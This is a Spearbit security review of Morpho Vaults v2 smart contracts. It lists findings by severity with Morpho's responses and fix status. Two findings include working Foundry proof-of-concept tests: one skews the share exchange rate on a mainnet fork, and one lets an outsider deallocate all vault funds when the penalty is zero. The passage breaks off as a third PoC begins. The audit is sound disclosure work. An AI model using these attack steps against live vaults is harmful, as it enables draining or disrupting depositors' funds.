



Morpho Vaults v2 Security Review

Auditors

Emmanuele Ricci, Lead Security Researcher

Saw-mon and Natalie, Lead Security Researcher

Om Parikh, Security Researcher

Jonatas Martins, Associate Security Researcher

Report prepared by: Lucas Goiriz

October 13, 2025

Contents

1	About Spearbit	3
2	Introduction	3
3	Risk classification	3
3.1	Impact	3
3.2	Likelihood	3
3.3	Action required for severity levels	3
4	Executive Summary	4
5	Findings	5
5.1	High Risk	5
5.1.1	Side effects of underlying directly donated to the VaultV2 or adapters positions	5
5.2	Medium Risk	6
5.2.1	Rounding down in forceDeallocate allows anyone to deallocate without paying penalty and potentially leaks value	6
5.2.2	interestPerSecond limits minimum rate that can be set and causes significant deviation for low precision tokens	6
5.2.3	Share to asset exchange rate can be skewed when totalSupply = 0 and totalAssets != 0	7
5.2.4	forceDeallocatePenalty should not be set to 0 to avoid anyone to deallocate all the funds from the adapters	11
5.2.5	forceDeallocate allows user to avoid incurring in losses and dump them on other suppliers	15
5.2.6	Losses across all adapters are not accounted before shares/assets are calculated to deposit/mint/redeem/withdraw	20
5.3	Low Risk	26
5.3.1	A broken or malicious vault interest controller can DoS the vault	26
5.3.2	setLiquidityAdapter and setLiquidityData are not time locked	28
5.3.3	performanceFeeShares and managementFeeShares are not correctly calculated	28
5.3.4	MetaMorphoAdapter and MorphoBlueAdapter do not check asset comparability with the parent vault	30
5.3.5	The call to vic does not check integrity of the data returned	35
5.3.6	Expose parentVault for the IAdapter interface	37
5.3.7	Extra check can be added when setting vic	38
5.3.8	Arbitrary data can be passed to forceDeallocate	39
5.3.9	Incorrect allocation calculation for ids corresponding to coarser set of routes	39
5.3.10	Missing to accrue interest in deallocate function	42
5.3.11	VaultV2 could end up minting shares > 0 that are not backed by MetaMorpho shares	42
5.3.12	forceDeallocate allows the caller to deallocate more than it owns	44
5.3.13	forceDeallocate should revert when adapters is empty or adapters[i] + data[i] correspond to the liquidity adapter	48
5.3.14	setVic should ensure that the newVic does not revert or report an incompatible interest rate per second	49
5.4	Gas Optimization	49
5.4.1	The calldata and checks in forceDeallocate can be optimised	49
5.4.2	Deallocation can be optimised by avoiding to self-call the vault from itself	53
5.4.3	accrueInterest should avoid updating the state and emit events when interest has been already accrued	55
5.5	Informational	55
5.5.1	Typos, Comments, Minor Issues,	55
5.5.2	Some features from IMetaMorphoAdapter and IMorphoBlueAdapter can be refactored into IAdapter	57
5.5.3	Total assets invariants	59
5.5.4	Document bad debt behaviour when dealing with MetamorphoV1_1 in adapter	60

5.5.5	Allocating and Deallocating zero assets from MetaMorpho vaults should be documented or avoided	61
5.5.6	Enhance the documentation relative to the <code>VaultV2</code> roles and allowed action to include VICs	61
5.5.7	<code>forceDeallocate</code> should be refactored and split into multiple specialized functions	61
5.5.8	The scope and role of the force deallocations penalties should be better explained	62
5.5.9	<code>permit</code> does not perform signature malleability check	63
5.5.10	The natspec comment for the <code>decreaseTimelock</code> timelock should be rewritten	63
5.5.11	<code>setForceDeallocatePenalty</code> should revert if adapter is not enabled	64
5.5.12	Consider improving the documentation relative to the <code>allocation</code> variable and related code .	64
5.5.13	Consider refactoring the relationships of <code>liquidityAdapter</code> and <code>liquidityData</code> and unify the setters	65
5.5.14	The <code>interestPerSecond == 0</code> scenario should be better documented and explained	66
5.5.15	Considerations on performance and management fees	66

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Morpho is a trustless and efficient lending primitive with permissionless market creation.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Morpho Vaults v2 according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 52 days in total, [Morpho](#) engaged with [Spearbit](#) to review the [morpho-vaults-v2](#) protocol. In this period of time a total of **39** issues were found.

Summary

Project Name	Morpho
Repository	morpho-vaults-v2
Commit	77aa7c5b
Type of Project	Vaults, Yield
Audit Timeline	May 20th to Jul 11th

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	1	1	0
Medium Risk	6	4	2
Low Risk	14	7	7
Gas Optimizations	3	3	0
Informational	15	11	4
Total	39	26	13

5 Findings

5.1 High Risk

5.1.1 Side effects of underlying directly donated to the VaultV2 or adapters positions

Severity: High Risk

Context: (No context files were provided by the reviewer)

Description: This finding describe which could be the side effects or issues of someone donating underlying tokens directly to the VaultV2 contract or to the market used by one of the adapters currently in use by the VaultV2 itself (MetaMorpho v1.0/v1.1 vault or Morpho Blue market).

It's important to note that the `_totalAssets` state variable (used to calculate the exchange rate, new interest accrued and how much can be withdrawn) will **not** be increased when funds are donated to the VaultV2 or to the underlying market. Such state variable is increased only by the `enter` function (called by the `mint` or `deposit` flow) or by the `accrueInterest` when new interest is added to the existing `_totalAssets`.

When funds are donated to the VaultV2 they can be deployed to the underlying market (to "trigger" the side effects/issues) only by the `allocator` user that needs to "directly" execute the `allocate` function. It's important to note that those funds donated to the VaultV2 cannot be "skimmed" in any way, they can only be "deployed" by the `allocator` or simply used as part of the (not accounted) `Idle` Market liquidity.

- Issue: Donation to VaultV2: `allocation[id]` is improperly increased: When the `allocator` directly execute the `allocate(...)` function to deploy the donated funds, the `allocation` state mapping variable will be "improperly" increased. The scope of such variable is to track the funds that the suppliers actively allocate to a specific `id` (an identifier that could identify an adapter, a Morpho market and so on) and are upper bounded by what the curator specify via the `absoluteCap` or `relativeCap` state variable mapping.

By increasing `allocation[id]` by those donated funds, the VaultV2 could end up preventing the "real" suppliers to deploy new funds to the adapter because the absolute/relative limits have been reached because of the donation.

- Issue: `allocation[id]` is improperly decreased: This issue is the "inverse" of the one described above, and is even more important when the funds are donated directly to the adapter's position in the market because the `allocation[id]` has never been increased because of a donation to the VaultV2.

In this case, a direct call to the `deallocate` function (that can be performed by the `allocator` or the `sentinel`), could improperly decrease the `allocation[id]` value, allowing suppliers to actively deploy more funds than expected to an `id` to compared to what the curator had planned by imposing absolute/relative upper limits via the `absoluteCap` and `relativeCap` mapping.

- Issue: suppliers do not directly benefit from the donated funds: The interest generated by the markets used by the adapters is theoretically based on the `_totalAssets` value (and `elapsed` seconds), which is used as an input parameter of the `IVic.interestPerSecond`.

As we said, `_totalAssets` is only increased when funds are deployed by a "direct" actions via the `deposit` or `mint` operation and the funds donated to the VaultV2 or adapter's position in the market.

This mean that the donation, that creates side effects and issues (see points below) does not bring any directly and useful benefits to the existing suppliers given the current logic of the VaultV2 contract.

- Issue: `loss` reported by the adapter could deflate the share value: When the `allocate` or `deallocate` function are executed directly (by `allocator` or `sentinel`) or indirectly (by the user root operation) they will try to account for the `loss` of the `liquidityAdapter`. If we take in consideration also the `forceDeallocate` function, the `loss` accounting is also "expanded" to all the active adapters to which funds have been deployed to or donated to in the past.

Because the donated funds are not accounted into the `_totalAssets` and because the `loss` reported could be much higher than the funds actually supplied by the users (because of the donation), it could happen the

liquidityAdapter or another adapter (forceDeallocate case) reports a loss that is higher than expected or even greater than `_totalAssets` itself.

In this scenario, the share value will decrease, and the user will lose funds.

Recommendations: One possible solution (which creates trust/centralization issues of their own) would be to allow an authed user to arbitrary increase the `_totalAssets` state variable by the amount of funds that have been donated to the VaultV2 or the adapters markets.

Spearbit: With the [PR 347](#) adapters (or at least the one currently implemented for VaultV2) do ignore donations on their behalf, but the VaultV2 does not. allocator users can still use the funds donated to the VaultV2 (or the ones received by the VaultV2 from the forceDeallocate penalty) to allocate them into adapters.

That part has not changed, and the above issues are still valid for that case.

Morpho: Those findings are also acknowledged: allocations are still constrained by the caps, effect allocations should indeed change when an allocator (de)allocates, and by design the donated funds do not benefit the users (to not change the share price instantly). This means that losses can be bounded, and so the issue about the loss is also acknowledged. Added [PR 347](#).

Spearbit: Verified.

5.2 Medium Risk

5.2.1 Rounding down in forceDeallocate allows anyone to deallocate without paying penalty and potentially leaks value

Severity: Medium Risk

Context: [VaultV2.sol#L575](#)

Description:

```
penaltyAssets += assets[i].mulDivDown(forceDeallocatePenalty[adapters[i]], WAD);
```

Here, `penaltyAssets` represents amount of assets that would be withdrawn from `onBehalf` as a loss for force deallocating. However, assets are rounded down which favours `onBehalf` instead of vault and leads to under-reporting and hence allowing to pay less or zero penalty than the actual intended value.

For example, when deallocating 999 units of WBTC (worth more than 1\$, 8 decimals) with `1e15` penalty (0.1%), rounded down penalty is 0 which should not be the case.

```
(uint)(999 * 1e15) / 1e18 = 0
```

there could be many such cases in practice which will leak value from the vault.

Recommendation: when counting `penaltyAssets`, it should be maximised by always rounding up in favour of vault to always ensure the invariant that penalty is not escaped holds.

Morpho: Fixed by [PR 389](#).

Spearbit: Verified.

5.2.2 interestPerSecond limits minimum rate that can be set and causes significant deviation for low precision tokens

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Description: The `ManualVic` contract's `interestPerSecond` implementation suffers from precision limitations that make it impractical for real-world usage, particularly for low interest rates and tokens with varying decimal precision. The contract returns raw interest amounts without any decimal scaling in the `interestPerSecond()` function. When

consumed by the vault contract using the calculation `uint256 interest = interestPerSecond * elapsed`, this creates precision constraints.

For **GUSD (2 decimals)**:

- The minimum non-zero `interestPerSecond = 1` creates: Annual interest: $1 * 31,536,000 = 31,536,000$ units = 315,360 GUSD.
- Minimum achievable APR is impossibly high regardless of AUM.

For USDC (6 decimals), 100k AUM with 4% target APR, the minimum non-zero `interestPerSecond = 1` creates:

- Target interest per year: $4,000 = 4000e6$.
- Required `interestPerSecond`: $4000e6 / 31536000 = 126.84$.
- Settable value: 126 (truncated).
- Actual APR: $(126 * 31,536,000) / 4,000,000,000 = 3.9853\%$.
- Deviation: ~15 bps.

There might be cases where notional interest rate might need to very low (think 0.2 - 0.5%) ranges where the majority of the rewards are provided via alternate tokens. Given VIC needs to be general and be functional for wide-range of use cases, This not just limits `ManualVic` but any implementation since vault v2 considers `interestPerSecond` returned raw so it can't be switched with new VIC implementation future to fix this particular issue.

Also, other on-chain intergrations (except vault v2) using VIC as reference might suffer from same issue.

Recommendation:

- Since precision ultimately needs to be adjusted back while saving `totalAssets`, try experimenting with lower precision such as BPS (10_000) instead of WAD so that rounding is minimal.
- Store numerator and denominator separately.

Morpho: Acknowledged. NatSpec comments has been added in [PR 390](#).

Spearbit: Acknowledged.

5.2.3 Share to asset exchange rate can be skewed when `totalSupply = 0` and `totalAssets != 0`

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Description: In ERC4626-like implementation of shares to asset conversion of `VaultV2`, it is possible to reach a state where `totalSupply = 0` and `totalAssets != 0` given following:

- Management and performance fees must be zero.
- `RealTotalAssets` (considering IR delta) > `totalAssets` such that if everyone withdraws, and all assets are deallocated from all adapters vault will reach `totalSupply = 0` but `totalAssets != 0`.

when this state is reached, one can mint 1 wei of share for 1 wei of asset and also supply assets externally `onBehalf` of adapter which can be deallocated so that new exchange rate becomes:

```
new_exchange_rate = (totalAssets + 1) / (newTotalSupply + 1) = (totalAssets + 1) / 1
```

this skews the exchange rate and may make vault unusable since `previewDeposit` would return zero for quoted assets if assets being deposited is less than `totalAssets`.

Proof of Concept:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "../lib/forge-std/src/Test.sol";
```



```

import {BaseTest} from "../BaseTest.sol";
import {console} from "forge-std/console.sol";
import {ERC20Mock} from "../mocks/ERC20Mock.sol";

import {IERC20} from "../src/interfaces/IERC20.sol";
import {IVaultV2} from "../src/interfaces/IVaultV2.sol";
import {IERC4626} from "../src/interfaces/IERC4626.sol";
import {IMorpho, MarketParams} from "../lib/morpho-blue/src/interfaces/IMorpho.sol";

import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";

import {MetaMorphoAdapter} from "../src/adapters/MetaMorphoAdapter.sol";
import {MetaMorphoAdapterFactory} from "../src/adapters/MetaMorphoAdapterFactory.sol";

import {MarketParamsLib} from "../lib/morpho-blue/src/libraries/MarketParamsLib.sol";
import {MorphoBalancesLib} from "../lib/morpho-blue/src/libraries/periphery/MorphoBalancesLib.sol";

contract POC is BaseTest {
    using MorphoBalancesLib for IMorpho;
    using MarketParamsLib for MarketParams;

    uint256 public fork;
    uint256 public forkBlock = 22533000;

    IERC20 public usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IMorpho public morpho = IMorpho(0xBbBbBbBbBb9cC5e90e3b3Af64bdAF62C37EEFCb);

    MorphoBlueAdapterFactory mbAdapterFactory;
    MorphoBlueAdapter mbAdapter;

    uint256 public apy;

    bytes32 marketId = bytes32(0xb323495f7e4148be5643a4ea4a8221eef163e4bccfdedc2a6f4696baacbc86cc);

    MarketParams public marketParams = MarketParams({
        loanToken: address(usdc),
        collateralToken: address(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0),
        oracle: address(0x48F7E36EB6B826B2dF4B2E630B62Cd25e89E40e2),
        irm: address(0x870aC11D48B15DB9a138Cf899d20F13F79Ba00BC),
        lltv: 86e16
    });

    function _setAbsoluteCap(bytes memory idData, uint256 absoluteCap) internal {
        vm.prank(curator);
        vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (idData, absoluteCap)));
        vault.increaseAbsoluteCap(idData, absoluteCap);
    }

    function _setRelativeCap(bytes memory idData, uint256 relativeCap) internal {
        vm.prank(curator);
        vault.submit(abi.encodeWithSelector(IVaultV2.increaseRelativeCap.selector, idData,
            ↪ relativeCap));
        vault.increaseRelativeCap(idData, relativeCap);
    }

    function setUp() public override {
        fork = vm.createFork(vm.rpcUrl("mainnet"), forkBlock);
        vm.selectFork(fork);

        underlyingToken = ERC20Mock(address(usdc));
    }
}

```

```

super.setUp();

mbAdapterFactory = new MorphoBlueAdapterFactory(address(morpho));
mbAdapter = MorphoBlueAdapter(mbAdapterFactory.createMorphoBlueAdapter(address(vault)));

vm.startPrank(curator);
vault.submit(abi.encodeCall(IVaultV2.setManagementFee, (0)));
vault.submit(abi.encodeCall(IVaultV2.setPerformanceFee, (0)));
vault.submit(abi.encodeCall(IVaultV2.setIsAdapter, (address(mbAdapter), true)));
vm.stopPrank();

vault.setManagementFee(0);
vault.setPerformanceFee(0);
vault.setIsAdapter(address(mbAdapter), true);

vm.startPrank(allocator);
vault.setLiquidityAdapter(address(mbAdapter));
vault.setLiquidityData(abi.encode(marketParams));
vm.stopPrank();

_setAbsoluteCap(abi.encode("adapter", address(mbAdapter)), type(uint256).max);
_setAbsoluteCap(abi.encode("collateralToken", marketParams.collateralToken), type(uint256).max);
_setAbsoluteCap(
    abi.encode(
        "collateralToken/oracle/lltv", marketParams.collateralToken, marketParams.oracle,
        ↪ marketParams.lltv
    ),
    type(uint256).max
);
_setRelativeCap(abi.encode("adapter", address(mbAdapter)), 1e18);
_setRelativeCap(abi.encode("collateralToken", marketParams.collateralToken), 1e18);
_setRelativeCap(
    abi.encode(
        "collateralToken/oracle/lltv", marketParams.collateralToken, marketParams.oracle,
        ↪ marketParams.lltv
    ),
    1e18
);
}

function testActualAccruedGtVicReportedUnaccounted() public {
    // @note: interest(VIC ~= 6.3%) < interest(Acutual ~= 7.22%)
    apy = 1;
    vm.startPrank(allocator);
    vic.setInterestPerSecond(apy);
    vm.stopPrank();

    uint256 amount = 500000e6;
    address user = makeAddr("alice");
    deal(address(usdc), user, amount);

    vm.startPrank(user);
    usdc.approve(address(vault), type(uint256).max);
    vault.deposit(amount, user);
    console.log("after supplying: ");

    console.log("ta", vault.totalAssets());
    console.log("ts", vault.totalSupply());
    console.log("supplied", morpho.expectedSupplyAssets(marketParams, address(mbAdapter)));

    skip(365 days);
    console.log("after 1yr: ");
}

```

```

console.log("supplied", morpho.expectedSupplyAssets(marketParams, address(mbAdapter)));
console.log("interest accrued", vic.interestPerSecond(0, 0) * 365 days);

assertEq(vault.totalSupply(), vault.balanceOf(user));
vault.redeem(vault.balanceOf(user), user, user);
console.log("after withdraw: ");

console.log("ta", vault.totalAssets());
console.log("ts", vault.totalSupply());
console.log("supplied", morpho.expectedSupplyAssets(marketParams, address(mbAdapter)));
vm.stopPrank();

// @note: shares are 0 but assets are non-zero (plus there are unreported assets in adapter)
// deallocating max from adapter doesn't increase (will stay same as previous) totalAssets so
↳ net interest
// profit delta stays unreported/unaccounted
vm.startPrank(allocator);
vault.deallocate(
    address(mbAdapter), abi.encode(marketParams), morpho.expectedSupplyAssets(marketParams,
    ↳ address(mbAdapter))
);
console.log("after max deallocation:");
vm.stopPrank();

console.log("ta", vault.totalAssets());
console.log("ts", vault.totalSupply());
}
}

```

```

after supplying:
ta 5000000000000
ts 5000000000000
supplied 499999999999
after 1yr:
supplied 514593783944
interest accrued 31536000
after withdraw:
ta 1
ts 0
supplied 14562247945
after max deallocation:
ta 1
ts 0

```

Recommendation:

- In constructor, mint some shares to dead/burn address which prevents totalSupply reaching zero.
- After deployed, deployer must ensure to mint some share and lock/hold it forever to prevent supply reaching zero.
- totalSupply and totalAssets be initialized to non-zero values such as 10 ** decimals so that explicit minting/burning is not required.

Also since FV setup exists, It would be also good to prove this invariant holds.

Morpho: Fixed by adding decimal offset in [PR 497](#) and this comment in [PR 524](#).

Spearbit: Verified.

5.2.4 forceDeallocatePenalty should not be set to 0 to avoid anyone to deallocate all the funds from the adapters

Severity: Medium Risk

Context: VaultV2.sol#L90

Description: When mapping(address adapter => uint256) public forceDeallocatePenalty; is set to zero for an adapter, the forceDeallocate functions won't increase the penaltyAssets number of shares that the onBehalf have to pay for the deallocate operation.

This means that anyone (even if they have no position in the vault or have no allowance from onBehalf) can deallocate any amount of funds from any adapters.

1. The adapters will stop earning "real" interest from the MetaMorpho Vaults or Morpho Blue markets. As a consequence, the suppliers will also stop earning.
2. If the VIC interest per second is update to 0 (given that no interest is generated), existing suppliers will start lose share's value given that the accrueInterest() won't increase the _totalAssets (no interest) but will increase the number of shares minted to the Vault's managers (that don't rely on the VICs interest).

Proof of Concept:

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "./BaseTest.sol";

import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";
import {OracleMock} from "../lib/morpho-blue/src/mocks/OracleMock.sol";
import {IrmMock} from "../lib/morpho-blue/src/mocks/IrmMock.sol";
import {IMorpho, MarketParams, Id, Market, Position} from
↳ "../lib/morpho-blue/src/interfaces/IMorpho.sol";
import {MorphoBalancesLib} from "../lib/morpho-blue/src/libraries/periphery/MorphoBalancesLib.sol";
import {MarketParamsLib} from "../lib/morpho-blue/src/libraries/MarketParamsLib.sol";
import {IMorphoBlueAdapter} from "../src/adapters/interfaces/IMorphoBlueAdapter.sol";
import {IMorphoBlueAdapterFactory} from "../src/adapters/interfaces/IMorphoBlueAdapterFactory.sol";

contract SMBLossTest is BaseTest {
    using MorphoBalancesLib for IMorpho;
    using MarketParamsLib for MarketParams;

    // Morpho Blue
    address morphoOwner;
    MarketParams internal marketParams_1;
    MarketParams internal marketParams_2;
    Id internal marketId_1;
    Id internal marketId_2;
    IMorpho internal morpho;
    OracleMock internal oracle;
    IrmMock internal irm;
    ERC20Mock internal collateralToken_1;
    ERC20Mock internal collateralToken_2;
    ERC20Mock internal loanToken; // this is the V2 underlying
    bytes[] internal expectedIds_1;
    bytes[] internal expectedIds_2;

    MorphoBlueAdapterFactory internal factoryMB;
    MorphoBlueAdapter internal adapterMB;

    function setUp() public override {
        super.setUp();
    }
}
```

```

function testFullPermissionlessDeallocate() public {
    // setup Morpho Blue Market
    _setupMB(underlyingToken);

    // setup Vault v2
    _setupVV2(10_000e18, 1e18);

    address alice = makeAddr("alice");
    address bob = makeAddr("bob");

    // alice deposit 100 DAI
    _deposit(alice, 100e18);

    // enable the second MB market
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams_2));

    // bob deposit to the second market 100 DAI
    _deposit(bob, 100e18);

    // set penalty to 2%
    vm.prank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setForceDeallocatePenalty, (address(adapterMB), 0.02e18)));
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setForceDeallocatePenalty(address(adapterMB), 0.02e18);

    address[] memory adapters = new address[](1);
    bytes[] memory marketData = new bytes[](1);
    uint256[] memory amounts = new uint256[](1);
    adapters[0] = address(adapterMB);
    marketData[0] = abi.encode(marketParams_1);
    amounts[0] = 1e18;

    // Carl has NEVER deposited to the Vault and has NO ALLOWANCE from anyone
    address carl = makeAddr("carl");

    // tires to call the force deallocate but it will fail

    // here fails because he owns no shares
    vm.prank(carl);
    vm.expectRevert(); // [FAIL: panic: arithmetic underflow or overflow (0x11)]
    vault.forceDeallocate(adapters, marketData, amounts, carl);

    // here fails because he has no allowance from BOB
    vm.prank(carl);
    vm.expectRevert(); // [FAIL: panic: arithmetic underflow or overflow (0x11)]
    vault.forceDeallocate(adapters, marketData, amounts, bob);

    // but if there's no penalty he will be able to deallocate from any market
    // reducing the possible suppliers interest accrual + rewards

    // set penalty to 0%
    vm.prank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setForceDeallocatePenalty, (address(adapterMB), 0)));
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setForceDeallocatePenalty(address(adapterMB), 0);

    vm.prank(carl);
    amounts[0] = 100e18;

```

```

    vault.forceDeallocate(adapters, marketData, amounts, bob);

    vm.prank(carl);
    marketData[0] = abi.encode(marketParams_2);
    vault.forceDeallocate(adapters, marketData, amounts, bob);

    // all the assets have been deallocated from the Morpho markets
    assertEq(morpho.market(marketId_1).totalSupplyAssets, 0);
    assertEq(morpho.market(marketId_2).totalSupplyAssets, 0);
}

function _deposit(address user, uint256 amount) internal {
    deal(address(underlyingToken), user, amount, true);
    vm.prank(user);
    underlyingToken.approve(address(vault), type(uint256).max);

    // supply
    vm.prank(user);
    vault.deposit(amount, user);
}

function _withdraw(address user, uint256 amount) internal {
    vm.prank(user);
    vault.withdraw(amount, user, user);
}

function _setupVV2(uint256 absoluteCap, uint256 relativeCap) internal {
    // setup the MB adapter
    vm.startPrank(curator);
    vault.submit(abi.encodeCall(IVaultV2.setIsAdapter, (address(adapterMB), true)));
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);
    vault.setIsAdapter(address(adapterMB), true);

    // setup the MB adapter as the main adapter
    vm.prank(allocator);
    vault.setLiquidityAdapter(address(adapterMB));
    vm.prank(allocator);
    vault.setLiquidityData(abi.encode(marketParams_1));

    _increaseCaps(expectedIds_1, absoluteCap, relativeCap);
    _increaseCaps(expectedIds_2, absoluteCap, relativeCap);
}

function _increaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
    ↪ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.submit(abi.encodeCall(IVaultV2.increaseAbsoluteCap, (expectedIds[i], absoluteCap)));
        vault.submit(abi.encodeCall(IVaultV2.increaseRelativeCap, (expectedIds[i], relativeCap)));
    }
    vm.stopPrank();
    vm.warp(vm.getBlockTimestamp() + 14 days);

    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.increaseAbsoluteCap(expectedIds[i], absoluteCap);
        vault.increaseRelativeCap(expectedIds[i], relativeCap);
    }
}

```

```

function _decreaseCaps(bytes[] memory expectedIds, uint256 absoluteCap, uint256 relativeCap)
↳ internal {
    // setup the absolute caps and relative caps
    vm.startPrank(curator);
    for( uint256 i = 0; i < expectedIds.length; i++ ) {
        vault.decreaseAbsoluteCap(expectedIds[i], absoluteCap);
        vault.decreaseAbsoluteCap(expectedIds[i], relativeCap);
    }
    vm.stopPrank();
}

function _setupMB(ERC20Mock v2Underlying) internal {
    morphoOwner = makeAddr("MorphoOwner");
    morpho = IMorpho(deployCode("Morpho.sol", abi.encode(morphoOwner)));

    loanToken = v2Underlying;
    collateralToken_1 = new ERC20Mock();
    collateralToken_2 = new ERC20Mock();
    oracle = new OracleMock();
    irm = new IrmMock();
    marketParams_1 = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken_1),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });
    marketParams_2 = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(collateralToken_2),
        irm: address(irm),
        oracle: address(oracle),
        lltv: 0.8 ether
    });

    vm.startPrank(morphoOwner);
    morpho.enableIrm(address(irm));
    morpho.enableLltv(0.8 ether);
    vm.stopPrank();

    morpho.createMarket(marketParams_1);
    morpho.createMarket(marketParams_2);
    marketId_1 = marketParams_1.id();
    marketId_2 = marketParams_2.id();

    factoryMB = new MorphoBlueAdapterFactory(address(morpho));
    adapterMB = MorphoBlueAdapter(factoryMB.createMorphoBlueAdapter(address(vault)));

    expectedIds_1 = new bytes[](3);
    expectedIds_1[0] = abi.encode("adapter", address(adapterMB));
    expectedIds_1[1] = abi.encode("collateralToken", marketParams_1.collateralToken);
    expectedIds_1[2] =
        abi.encode(
            "collateralToken/oracle/lltv", marketParams_1.collateralToken, marketParams_1.oracle,
↳         marketParams_1.lltv
        );

    expectedIds_2 = new bytes[](3);
    expectedIds_2[0] = abi.encode("adapter", address(adapterMB));
    expectedIds_2[1] = abi.encode("collateralToken", marketParams_2.collateralToken);
    expectedIds_2[2] =
        abi.encode(

```

```

        "collateralToken/oracle/lltv", marketParams_2.collateralToken, marketParams_2.oracle,
        ↪ marketParams_2.lltv
    );
}

// copied from original MorphoBlueAdapter Test

function _overrideMarketTotalSupplyAssets(Id marketId, int256 change) internal {
    bytes32 marketSlot0 = keccak256(abi.encode(marketId, 3)); // 3 is the slot of the market
    ↪ mapping.
    bytes32 currentSlot0Value = vm.load(address(morpho), marketSlot0);
    uint256 currentTotalSupplyShares = uint256(currentSlot0Value) >> 128;
    uint256 currentTotalSupplyAssets = uint256(currentSlot0Value) & type(uint256).max;
    bytes32 newSlot0Value =
        bytes32((currentTotalSupplyShares << 128) | uint256(int256(currentTotalSupplyAssets) +
        ↪ change));
    vm.store(address(morpho), marketSlot0, newSlot0Value);
}
}

```

Recommendation: Morpho should avoid setting the `forceDeallocatePenalty` of a vault to zero to avoid the above side effects and unexpected behavior. If setting the `forceDeallocatePenalty` to zero for an adapter is a way to allow anyone to "ping" the adapters (to account for possible losses), the `forceDeallocate` function should be refactored and the "ping" feature should be implemented in a separate ad-hoc function without the ability to deallocate any funds.

Morpho: Acknowledged. We don't think that this should be fixed. It's the role of the curator to make sure that the setup makes sense (and of users to check that as well). It's also unclear how we would enforce anything here. Note that the comment added in [PR 397](#) which fixes the finding "The scope and role of the force deallocations penalties should be better explained" helps highlight the importance of this parameter.

Spearbit: Morpho has acknowledged the issue.

5.2.5 `forceDeallocate` allows user to avoid incurring in losses and dump them on other suppliers

Severity: Medium Risk

Context: [VaultV2.sol#L567-L582](#)

Description: The current implementation of `forceDeallocate` allows a user to deallocate from any whitelisted adapter (+ data) an arbitrary amount of assets (which could be equal to the adapter's allocation when `forceDeallocatePenalty[adapter] == 0`).

This logic can be exploited by users that want to avoid losses and dump them to all the other suppliers. The user can simply deallocate as much as needed from those adapters that won't report a loss, and then perform a withdrawal from the Idle Market. At this point, the user could even trigger the accounting of the loss by deallocating a zero-amount from the adapters with a loss, account for it and re-purchase the same supply position at a lower cost. Let's make an example:

For the sake of simplicity, there's no performance/management fees and zero force-deallocation penalties.

- 1) curator enable MorphoBlue Market 1.
- 2) ALICE deposits 100 DAI that are deposited into MB market 1.
- 3) curator enable MorphoBlue Market 2 (different collateral).
- 4) BOB deposit 100 DAI that are deposited into MB market 2.
- 5) MorphoBlue Market 2 undergoes of a loss of 100 DAI.

- 6) BOB sees the loss but don't want to take part of it. Bob execute `vault.forceDeallocate(mbAdapter, mbMarket1, 100 DAI, bob)`.

The `forceDeallocate` deallocate from the specified market. The `deallocate` function called inside `forceDeallocate` will not subtract the loss amount from `_totalAssets` because the loss has happened on MB Market 2 and not MB Market 1.

The `withdraw(...)` executed in `forceDeallocate` to send penalty to the vault itself will not trigger any loss accounting because they are taken directly from the IDLE market (filled by the `deallocate`).

- 7) BOB calls `vault.redeem(100e18, bob, bob)` and pull 100 DAI (in this example `forceDeallocatePenalty` is zero as we said).

At this point, BOB was able to withdraw what he had deposited initially without incurring in any loss. As soon as loss are realized, ALICE's shares will be worthless.

BOB could at that point deposit again the same amount and gain many more shares at a "discounted" price. To trigger the loss accounting, BOB (or anyone) can just trigger an "empty" deposit like `vault.deposit(0, anyAddress)`.

Proof of Concept: The following test must be executed with the `--isolate` option to "trick" forge to execute in multiple transactions to avoid the `EnterBlocked revert` error.

```
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "./BaseTest.sol";

